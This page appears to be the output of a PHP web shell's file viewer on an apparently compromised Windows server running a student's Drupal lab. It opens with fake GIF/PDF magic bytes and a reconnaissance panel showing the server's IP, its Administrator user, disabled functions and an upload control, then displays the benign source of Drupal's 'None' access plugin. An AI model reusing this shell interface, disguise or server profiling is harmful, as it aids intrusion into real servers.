GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/Student/JimMartinson/Lab12/drupal/core/modules/views/src/Plugin/views/access/ |
Upload File : |
<?php namespace Drupal\views\Plugin\views\access; use Drupal\Core\Session\AccountInterface; use Symfony\Component\Routing\Route; /** * Access plugin that provides no access control at all. * * @ingroup views_access_plugins * * @ViewsAccess( * id = "none", * title = @Translation("None"), * help = @Translation("Will be available to all users.") * ) */ class None extends AccessPluginBase { /** * {@inheritdoc} */ public function summaryTitle() { return $this->t('Unrestricted'); } /** * {@inheritdoc} */ public function access(AccountInterface $account) { // No access control. return TRUE; } /** * {@inheritdoc} */ public function alterRouteDefinition(Route $route) { $route->setRequirement('_access', 'TRUE'); } }